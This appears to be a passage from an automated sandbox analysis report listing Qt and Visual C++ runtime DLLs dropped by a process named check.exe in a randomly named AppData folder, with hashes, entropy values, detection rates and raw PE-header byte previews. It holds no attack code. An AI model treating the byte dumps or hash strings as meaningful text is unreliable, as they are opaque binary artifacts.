SHA-512:	C39A134210E314627B0F2072F4FFC9B2CE060D44D3365D11D8C1FE908B3B9403EBDD6F33E67D556BD052338D0ED3D5F16B54D628E8290FD3A155F55D36019A86
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......>.{.zl..zl..zl......xl..s...~l.....}l.....xl..zl..Ql......l.....il.....{l.....{l.....{l..Richzl..................PE..d.....t^.........." .........$......p.....................................................`A........................................p>..L....?..x....p.......`..X....:...A......p...P3..8............................3..0............0..@............................text............................... ..`.rdata.......0......................@..@.data........P.......,..............@....pdata..X....`.......0..............@..@.rsrc........p.......4..............@..@.reloc..p............8..............@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\bin\Qt5Core.dll

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	6023664
Entropy (8bit):	6.768988071491288
Encrypted:	false
SSDEEP:	98304:hcirJylHYab/6bMJsv6tWKFdu9CLiZxqfg8gwf:+irJylHFb/QMJsv6tWKFdu9CL4xqfg8x
MD5:	817520432A42EFA345B2D97F5C24510E
SHA1:	FEA7B9C61569D7E76AF5EFFD726B7FF6147961E5
SHA-256:	8D2FF4CE9096DDCCC4F4CD62C2E41FC854CFD1B0D6E8D296645A7F5FD4AE565A
SHA-512:	8673B26EC5421FCE8E23ADF720DE5690673BB4CE6116CB44EBCC61BBBEF12C0AD286DFD675EDBED5D8D000EFD7609C81AAE4533180CF4EC9CD5316E7028F7441
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......D.............................UJ......................................................W.....,..................r....................Rich............PE..d...;._.........." ..........-.......-......................................`\.....x.\...`...........................................L..O....T...... \.......U.. ....[......0\..%..,.H.T.....................H.(.....H.0............./.H............................text............................... ..`.rdata..F7%.../..8%.................@..@.data...x....PT..\...6T.............@....pdata... ....U.."....T.............@..@.qtmimed.....0W.......V.............@..P.rsrc........ \.......[.............@..@.reloc...%...0\..&....[.............@..B........................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\bin\Qt5DBus.dll

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	436720
Entropy (8bit):	6.392610185061176
Encrypted:	false
SSDEEP:	6144:ZLvnUJ17UTGOkWHUe/W9TgYMDu96ixMZQ8IlXbKgp8aIDeN:KP7cGOGegTwu96ixMZQtlrPN
MD5:	0E8FF02D971B61B5D2DD1AC4DF01AE4A
SHA1:	638F0B46730884FA036900649F69F3021557E2FE
SHA-256:	1AA70B106A10C86946E23CAA9FC752DC16E29FBE803BBA1F1AB30D1C63EE852A
SHA-512:	7BA616EDE66B16D9F8B2A56C3117DB49A74D59D0D32EAA6958DE57EAC78F14B1C7F2DBBA9EAE4D77937399CF14D44535531BAF6F9DB16F357F8712DFAAE4346A
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........D..............+...../............).....+...O.+....+....O./...O....O..........O.(...Rich..........................PE..d...]._.........." .....\...<.......\..............................................K.....`..........................................h..to...................`...Q..............4.......T.......................(...`...0............p...............................text...yZ.......\.................. ..`.rdata..0....p.......`..............@..@.data...X....@......."..............@....pdata...Q...`...R...2..............@..@.rsrc...............................@..@.reloc..4...........................@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\bin\Qt5Gui.dll

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	7008240
Entropy (8bit):	6.674290383197779
Encrypted:	false
SSDEEP:	49152:9VPhJZWVvpg+za3cFlc61j2VjBW77I4iNlmLPycNRncuUx24LLsXZFC6FOCfDt2/:BJZzI1ZR3U9Cxc22aDACInVc4Z
MD5:	47307A1E2E9987AB422F09771D590FF1
SHA1:	0DFC3A947E56C749A75F921F4A850A3DCBF04248
SHA-256:	5E7D2D41B8B92A880E83B8CC0CA173F5DA61218604186196787EE1600956BE1E
SHA-512:	21B1C133334C7CA7BBBE4F00A689C580FF80005749DA1AA453CCEB293F1AD99F459CA954F54E93B249D406AEA038AD3D44D667899B73014F884AFDBD9C461C14
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...................................(...........!..L.!This program cannot be run in DOS mode....$.......QH^~.)0-.)0-.)0-.Q.-.)0-...-.)0-.F4,.)0-.F3,.)0-.F5,.)0-.F1,.)0-.Y1,.)0-.B5,.)0-.B1,.)0-.)1-m,0-.Y4,.)0-.Y5,\|(0-.Y0,.)0-.Y.-.)0-.).-.)0-.Y2,.)0-Rich.)0-................PE..d....._.........." ......?...+.....X.?.......................................k.....R.k...`.........................................pKK.....d.e.\|....`k.......g.......j......pk..6....F.T................... .F.(.....F.0.............?.p+...........................text...2.?.......?................. ..`.rdata...z&...?..\|&...?.............@..@.data....o... f.......f.............@....pdata........g.......f.............@..@.rsrc........`k.......j.............@..@.reloc...6...pk..8....j.............@..B........................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\bin\Qt5Network.dll

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1340400
Entropy (8bit):	6.41486755163134
Encrypted:	false
SSDEEP:	24576:eXPn73RXox1U9M0m+1ffSDY565RzHUY1iaRy95hdGehEM:+7hXU1U95m4ff9A5RviaRy9NGI
MD5:	3569693D5BAE82854DE1D88F86C33184
SHA1:	1A6084ACFD2AA4D32CEDFB7D9023F60EB14E1771
SHA-256:	4EF341AE9302E793878020F0740B09B0F31CB380408A697F75C69FDBD20FC7A1
SHA-512:	E5EFF4A79E1BDAE28A6CA0DA116245A9919023560750FC4A087CDCD0AB969C2F0EEEC63BBEC2CD5222D6824A01DD27D2A8E6684A48202EA733F9BB2FAB048B32
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.........Yt..7'..7'..7'...'..7'..3&..7'}.3&..7'}.4&..7'}.2&..7'}.6&..7'..6&..7'0.6&..7'..6'c.7'0.2&2.7'0.7&..7'0..'..7'...'..7'0.5&..7'Rich..7'........................PE..d....._.........." .................................................................c....`......................................... ....n..,...h....................X..........,.......T...................p...(...@...0............................................text...C........................... ..`.rdata...g.......h..................@..@.data...XN...@...2... ..............@....pdata...............R..............@..@.rsrc................>..............@..@.reloc..,............D..............@..B................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\bin\Qt5Qml.dll

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	3591664
Entropy (8bit):	6.333693598000157
Encrypted:	false
SSDEEP:	98304:iPnt09+kVh2NrSdSG779LLLS/o/L4YqoY0Xba+mRRH2T:iPnt2ZVhT
MD5:	D055566B5168D7B1D4E307C41CE47C4B
SHA1:	043C0056E9951DA79EC94A66A784972532DC18EF
SHA-256:	30035484C81590976627F8FACE9507CAA8581A7DC7630CCCF6A8D6DE65CAB707
SHA-512:	4F12D17AA8A3008CAA3DDD0E41D3ED713A24F9B5A465EE93B2E4BECCF876D5BDF0259AA0D2DD77AD61BB59DC871F78937FFBE4D0F60638014E8EA8A27CAF228D
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......W.4...Z...Z...Z......Z..^...Z..Y...Z.._...Z..[...Z...[...Z...[...Z...[...Z..._...Z...Z...Z.......Z......Z...X...Z.Rich..Z.........PE..d......_.........." .....^$..........O$.......................................7.....}.7...`...........................................,......2.......6.......4. .....6.......6..J....).T.....................).(...p.).0............p$..%...........................text....\$......^$................. ..`.rdata......p$......b$.............@..@.data.........3..n....2.............@....pdata.. .....4......l4.............@..@.rsrc.........6......`6.............@..@.reloc...J....6..L...f6.............@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\bin\Qt5QmlModels.dll

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	438768
Entropy (8bit):	6.312090336793804
Encrypted:	false
SSDEEP:	6144:k1tE6lq982HdyuEZ5gw+VHDZjZ0yOWm7Vdcm4GyasLCZCu6vdQp:k1tEuq9Hdyuo5gwguyOtVIup
MD5:	2030C4177B499E6118BE5B9E5761FCE1
SHA1:	050D0E67C4AA890C80F46CF615431004F2F4F8FC
SHA-256:	51E4E5A5E91F78774C44F69B599FAE4735277EF2918F7061778615CB5C4F6E81
SHA-512:	488F7D5D9D8DEEE9BBB9D63DAE346E46EFEB62456279F388B323777999B597C2D5AEA0EE379BDF94C9CBCFD3367D344FB6B5E90AC40BE2CE95EFA5BBDD363BCC
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......x..<...<...<...5.H.4...(...>.......*.......4.......8.......8......9...<...g....../......=....$.=...<.L.=......=...Rich<...................PE..d...M.._.........." .....(...r......d+..............................................MF....`.........................................0E...^..0................`.. F..................H...T.......................(.......0............@...............................text...N&.......(.................. ..`.rdata.......@.......,..............@..@.data...x/...0...(..................@....pdata.. F...`...H...>..............@..@.rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\bin\Qt5Quick.dll

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	4148720
Entropy (8bit):	6.462183686222023
Encrypted:	false
SSDEEP:	49152:EcDwCQsvkBD+ClI3IAVLA7Tr15SokomoqxQhT2bAssCFEUGX5ig:E7CKPsA3p0Z/QV/sS3Ag
MD5:	65F59CFC0C1C060CE20D3B9CEFFBAF46
SHA1:	CFD56D77506CD8C0671CA559D659DAB39E4AD3C2
SHA-256:	C81AD3C1111544064B1830C6F1AEF3C1FD13B401546AB3B852D697C0F4D854B3
SHA-512:	D6F6DC19F1A0495026CBA765B5A2414B6AF0DBFC37B5ACEED1CD0AE37B3B0F574B759A176D75B01EDD74C6CE9A3642D3D29A3FD7F166B53A41C8978F562B4B50
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......!Fvge'.4e'.4e'.4l_.4i'.4.H.5m'.4.H.5a'.4.H.5\|'.4.H.5c'.4.W.5o'.4qL.5`'.4e'.4.,.4.W.5.'.4.W.5d'.4.W.4d'.4e'.4d'.4.W.5d'.4Riche'.4........................PE..d......_.........." ......%..B......L.$.......................................?.......?...`.........................................0)2.P.....8.T.....>.......<..^...2?.......?.py......T.......................(.......0............ %..\...........................text.....%.......%................. ..`.rdata....... %.......%.............@..@.data....I...@;..2... ;.............@....pdata...^....<..`...R<.............@..@.rsrc.........>.......>.............@..@.reloc..py....?..z....>.............@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\bin\Qt5Svg.dll

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	330736
Entropy (8bit):	6.381828869454302
Encrypted:	false
SSDEEP:	6144:6qLZcTC3wR/0JNZ+csBkBv0L0hq+SvcO8MsvwbIeblsjTR:6qNcCwqHE2fYlsPR
MD5:	03761F923E52A7269A6E3A7452F6BE93
SHA1:	2CE53C424336BCC8047E10FA79CE9BCE14059C50
SHA-256:	7348CFC6444438B8845FB3F59381227325D40CA2187D463E82FC7B8E93E38DB5
SHA-512:	DE0FF8EBFFC62AF279E239722E6EEDD0B46BC213E21D0A687572BFB92AE1A1E4219322233224CA8B7211FFEF52D26CB9FE171D175D2390E3B3E6710BBDA010CB
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............_._._..*_._,.^._..^._,.^._,.^._,.^._a.^._._=.._a.^._a.^._a.F_._.._._a.^._Rich._................PE..d......_.........." .........................................................@.......^....`.................................................((....... ...........0...........0..H...xL..T....................N..(....L..0............................................text............................... ..`.rdata..p...........................@..@.data...8...........................@....pdata...0.......2..................@..@.rsrc........ ......................@..@.reloc..H....0......................@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\bin\Qt5WebSockets.dll

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	149488
Entropy (8bit):	6.116105454277536
Encrypted:	false
SSDEEP:	3072:4sSkET6pEXb3loojg1Q2sorWvZXF2sorrLA7cG27Qhvvc:4sSd6pwzloDbsnX0sCrc7ct7QVc
MD5:	A016545F963548E0F37885E07EF945C7
SHA1:	CBE499E53AB0BD2DA21018F4E2092E33560C846F
SHA-256:	6B56F77DA6F17880A42D2F9D2EC8B426248F7AB2196A0F55D37ADE39E3878BC6
SHA-512:	47A3C965593B97392F8995C7B80394E5368D735D4C77F610AFD61367FFE7658A0E83A0DBD19962C4FA864D94F245A9185A915010AFA23467F999C833982654C2
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........'`.CF.KCF.KCF.KJ>.KGF.K.).JAF.KW-.JAF.K.).JVF.K.).JKF.K.).J@F.K.6.JFF.KCF.K.G.K.6.JPF.K.6.JBF.K.6.KBF.KCF.KBF.K.6.JBF.KRichCF.K........................PE..d......_.........." .....$..........t(.......................................p.......5....`............................................."..l........P.......0.......,.......`..L...hw..T....................x..(....w..0............@...............................text....".......$.................. ..`.rdata..z....@.......(..............@..@.data...x...........................@....pdata.......0......................@..@.rsrc........P......."..............@..@.reloc..L....`.......(..............@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\bin\Qt5Widgets.dll

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	5498352
Entropy (8bit):	6.619117060971844
Encrypted:	false
SSDEEP:	49152:KO+LIFYAPZtMym9RRQ7/KKIXSewIa/2Xqq1sfeOoKGOh6EwNmiHYYwBrK8KMlH0p:IGoKZdRqJD10rK8KMlH0gi5GX0oKZ
MD5:	4CD1F8FDCD617932DB131C3688845EA8
SHA1:	B090ED884B07D2D98747141AEFD25590B8B254F9
SHA-256:	3788C669D4B645E5A576DE9FC77FCA776BF516D43C89143DC2CA28291BA14358
SHA-512:	7D47D2661BF8FAC937F0D168036652B7CFE0D749B571D9773A5446C512C58EE6BB081FEC817181A90F4543EBC2367C7F8881FF7F80908AA48A7F6BB261F1D199
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........x..................I.......I.......I.......I...........................................9.................................Rich............PE..d....._.........." ......3..P .......3.......................................T......MT...`.........................................0.D.P^....L.h....pS......0P..8....S.......S.d.....?.T...................`.?.(...0.?.0.............3.._...........................text.....3.......3................. ..`.rdata..8.....3.......3.............@..@.data.........O......dO.............@....pdata...8...0P..:....O.............@..@.rsrc........pS......4S.............@..@.reloc..d.....S......:S.............@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\bin\VCRUNTIME140.dll

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	101872
Entropy (8bit):	6.5661918084228725
Encrypted:	false
SSDEEP:	1536:RCKWZGuEK0mOLSTxoPl9GIcuZrxi4hXX9oix8H+NCIecbGShwZul:RFWY1WxgGStJ8H2CIecbG36
MD5:	971DBBE854FC6AB78C095607DFAD7B5C
SHA1:	1731FB947CD85F9017A95FDA1DC5E3B0F6B42CA2
SHA-256:	5E197A086B6A7711BAA09AFE4EA7C68F0E777B2FF33F1DF25A21F375B7D9693A
SHA-512:	B966AAB9C0D9459FADA3E5E96998292D6874A7078924EA2C171F0A1A50B0784C24CC408D00852BEC48D6A01E67E41D017684631176D3E90151EC692161F1814D
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........w.............t:..............................................................Rich....................PE..d.....t^.........." .........^.......................................................e....`A.........................................0..4....9.......p.......P.......L...A..............8........................... ...0............................................text...2........................... ..`.rdata...?.......@..................@..@.data...0....@.......4..............@....pdata.......P.......8..............@..@_RDATA.......`.......D..............@..@.rsrc........p.......F..............@..@.reloc...............J..............@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\bin\VCRUNTIME140_1.dll

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	44528
Entropy (8bit):	6.627837381503075
Encrypted:	false
SSDEEP:	384:Aim/NRETi8kykt25HwviU5fJUiP2551xWmbTqOA7SXf+Ny85xM8ATJWr3KWoC8cS:0Ie8kySL2iPQxdvjAevcMESW5lxJG
MD5:	6BC084255A5E9EB8DF2BCD75B4CD0777
SHA1:	CF071AD4E512CD934028F005CABE06384A3954B6
SHA-256:	1F0F5F2CE671E0F68CF96176721DF0E5E6F527C8CA9CFA98AA875B5A3816D460
SHA-512:	B822538494D13BDA947655AF791FED4DAA811F20C4B63A45246C8F3BEFA3EC37FF1AA79246C89174FE35D76FFB636FA228AFA4BDA0BD6D2C41D01228B151FD89
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........ .S.A...A...A..0.m..A..O....A...9...A...A...A..O....A..O....A..O....A..O....A..O.}..A..O....A..Rich.A..................PE..d.....t^.........." .....:...4......pA...............................................Z....`A.........................................j......\|k..x....................l...A......8....b..8...........................@b..0............P..X............................text....9.......:.................. ..`.rdata... ...P..."...>..............@..@.data................`..............@....pdata...............b..............@..@.rsrc................f..............@..@.reloc..8............j..............@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\bin\d3dcompiler_47.dll

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	4173928
Entropy (8bit):	6.329102290474506
Encrypted:	false
SSDEEP:	49152:8BfmqCtLI4erBYysLjG/A8McPyCD6hw16JVTW7B3EgvVlQ3LAYmyNOvGJse+aWyb:8eZevVKACOvWYQF
MD5:	B0AE3AA9DD1EBD60BDF51CB94834CD04
SHA1:	EE2F5726AC140FB42D17ABA033D678AFAF8C39C1
SHA-256:	E994847E01A6F1E4CBDC5A864616AC262F67EE4F14DB194984661A8D927AB7F4
SHA-512:	756EBF4FA49029D4343D1BDB86EA71B2D49E20ADA6370FD7582515455635C73D37AD0DBDEEF456A10AB353A12412BA827CA4D70080743C86C3B42FA0A3152AA3
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......G..(.a.{.a.{.a.{..m{5a.{..l{.a.{.m{.a.{.o{.a.{.a.{.a.{.i{.a.{.l{.a.{.h{.a.{.q{.a.{.k{.a.{.n{.a.{Rich.a.{........................PE..d......R.........." ......;.........`.8......................................@@......a@...`...........................................;.u...P.>.d.....?.@.....=......t?.h<... ?..{..................................@a................>.P............................text.....;.......;................. ..`.data...h.....;.......;.............@....pdata........=......n<.............@..@.idata..@.....>......B>.............@..@.rsrc...@.....?......\>.............@..@.reloc....... ?......b>.............@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\bin\libEGL.dll

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	25072
Entropy (8bit):	5.961464514165753
Encrypted:	false
SSDEEP:	384:KEyYvsyDQrjwgut4Maw+XZndDGg7Dgf2hU:RvszjwgocwOhdDGEUf2hU
MD5:	BB00EF1DD81296AF10FDFA673B4D1397
SHA1:	773FFCF4A231B963BAAC36CBEF68079C09B62837
SHA-256:	32092DE077FD57B6EF355705EC46C6D21F6D72FBE3D3A5DD628F2A29185A96FA
SHA-512:	C87C0868C04852B63A7399AFE4E568CD9A65B7B7D5FD63030ABEA649AAC5E9F2293AB5BE2B2CE56A57F2B4B1992AE730150A293ADA53637FC5CD7BE0A727CBD4
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........9...Xv@.Xv@.Xv@. .@.Xv@.7wA.Xv@.3wA.Xv@.7sA.Xv@.7rA.Xv@.7uA.Xv@W(wA.Xv@.Xw@.Xv@W(sA.Xv@W(vA.Xv@W(.@.Xv@.X.@.Xv@W(tA.Xv@Rich.Xv@........PE..d...#._.........." .........0......................................................Z.....`.........................................`9.......B..d.......H....p.......F.......... ....3..T............................4..0............0...............................text............................... ..`.rdata..r#...0...$..................@..@.data........`.......:..............@....pdata.......p.......<..............@..@.rsrc...H............>..............@..@.reloc.. ............D..............@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\bin\libGLESv2.dll

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	3385328
Entropy (8bit):	6.382356347494905
Encrypted:	false
SSDEEP:	49152:sU0O89Onk/cNTgO/WSLqfTPnK+9eaOiY95ZEQryD1pPG3L:MaHUKt3L
MD5:	2247EE4356666335DF7D72129AF8D600
SHA1:	F0131C1A67FC17C0E8DCC4A4CA38C9F1780E7182
SHA-256:	50FAD5605B3D57627848B3B84A744DFB6A045609B8236B04124F2234676758D8
SHA-512:	67F2A7BF169C7B9A516689CF1B16446CA50E57F099B9B742CCB1ABB2DCDE8867F8F6305AD8842CD96194687FC314715AE04C1942B0E0A4F51B592B028C5B16D3
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............t..t..t....t.A.p..t.A.w..t.A.q..t.A.u..t.u..t..u..t...q..t...t..t......t.....t...v..t.Rich..t.........PE..d....._.........." ......&.........L.&.......................................3.......3...`..........................................0..]....0.......3.P.....1.L.....3.......3..;...},.T...................P.,.(... ~,.0.............'..............................text...o.&.......&................. ..`.rdata........'.......&.............@..@.data.........1.......0.............@....pdata..L.....1.......1.............@..@.rsrc...P.....3......J3.............@..@.reloc...;....3..<...P3.............@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\bin\opengl32sw.dll

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	20923392
Entropy (8bit):	6.255903817217008
Encrypted:	false
SSDEEP:	393216:LIckHor5uLnn83wAP5hxOZEa7/LzRuDFqILn5LgcKyZyQXt+8M:yEZbv
MD5:	7DBC97BFEE0C7AC89DA8D0C770C977B6
SHA1:	A064C8D8967AAA4ADA29BD9FEFBE40405360412C
SHA-256:	963641A718F9CAE2705D5299EAE9B7444E84E72AB3BEF96A691510DD05FA1DA4
SHA-512:	286997501E1F5CE236C041DCB1A225B4E01C0F7C523C18E9835507A15C0AC53C4D50F74F94822125A7851FE2CB2FB72F84311A2259A5A50DCE6F56BA05D1D7E8
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......[.@..............'.......'.......'..[...........\|.-.....\|.+....\|..<....'......../.....q.*.....q.+....q.&.^...q.......q.,.....Rich............PE..d....._W.........." .....(....b.....\|&....................................... E...........`.........................................0.1.t.....1...............9.`n............C..k.. . .T..................... .(..... ..............@...............................text...T&.......(.................. ..`.rdata..XvO..@...xO..,..............@..@.data....;....1.......1.............@....pdata..`n....9..p...D3.............@..@.gfids.......pC.......=.............@..@.tls..........C.......=.............@..._RDATA........C.......=.............@..@.reloc...k....C..l....=.............@..B................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\plugins\generic\qtuiotouchplugin.dll

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	68080
Entropy (8bit):	6.207162014262433
Encrypted:	false
SSDEEP:	1536:mQ4IT53ign4CbtlO705xWL3frA5rlhgQJ7tapgUff:mLIT53Hbtk70OLs3hg0Cz
MD5:	750A31DE7840B5EED8BA14C1BD84D348
SHA1:	D345D13B0C303B7094D1C438E49F0046791DE7F6
SHA-256:	A9BFFB0F3CD69CD775C328C916E46440FE80D99119FAEBC350C7EC51E3E57C41
SHA-512:	5C0A68ED27A9F1BBFF104942152E475C94BB64B03CE252EAAC1A6770E24DC4156CE4ADE99EBCD92662801262DED892C33F84C605AD84472B45A83C4883D5E767
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............h..h..h...s.h..]...h.....h..]...h..]...h..]...h......h..h..&h......h......h......h......h..Rich.h..................PE..d...X._.........." .........b......$........................................@......{v....`......................................... ................ ..X....................0......H...T......................(.......0............................................text............................... ..`.rdata...E.......F..................@..@.data...............................@....pdata..............................@..@.qtmetadi...........................@..P.rsrc...X.... ......................@..@.reloc.......0......................@..B................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\plugins\iconengines\qsvgicon.dll

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	41968
Entropy (8bit):	6.0993566622860635
Encrypted:	false
SSDEEP:	768:VPs5g31JfDgej5JZmA0ZsEEC6lmn+4FdDGimUf2hr:VkC31ee7ZmA+sEEC6lmn+4FOUfc
MD5:	313F89994F3FEA8F67A48EE13359F4BA
SHA1:	8C7D4509A0CAA1164CC9415F44735B885A2F3270
SHA-256:	42DDE60BEFCF1D9F96B8366A9988626B97D7D0D829EBEA32F756D6ECD9EA99A8
SHA-512:	06E5026F5DB929F242104A503F0D501A9C1DC92973DD0E91D2DAF5B277D190082DE8D37ACE7EDF643C70AA98BB3D670DEFE04CE89B483DA4F34E629F8ED5FECF
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......n.:..i..i..i#.Ei...i...h(..i>..h(..i...h8..i...h-..i...h(..i...h-..i..i...i...h(..i...h+..i..)i+..i...h+..iRich*..i........................PE..d......_.........." .....@...F.......F..............................................C.....`..........................................g..x...hh..........H...........................xX..T....................Z..(....X..0............P...............................text....>.......@.................. ..`.rdata...3...P...4...D..............@..@.data................x..............@....pdata...............z..............@..@.qtmetadj...........................@..P.rsrc...H...........................@..@.reloc..............................@..B........................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\plugins\imageformats\qgif.dll

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	39408
Entropy (8bit):	6.0316011626259405
Encrypted:	false
SSDEEP:	768:ygk2hM0GskFtvPCjEIxh8eDzFyPddeeGvnhotdDGPUf2he:yN2a05kfPOEMaeDzFkddeFnhotOUfh
MD5:	52FD90E34FE8DED8E197B532BD622EF7
SHA1:	834E280E00BAE48A9E509A7DC909BEA3169BDCE2
SHA-256:	36174DD4C5F37C5F065C7A26E0AC65C4C3A41FDC0416882AF856A23A5D03BB9D
SHA-512:	EF3FB3770808B3690C11A18316B0C1C56C80198C1B1910E8AA198DF8281BA4E13DC9A6179BB93A379AD849304F6BB934F23E6BBD3D258B274CC31856DE0FC12B
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
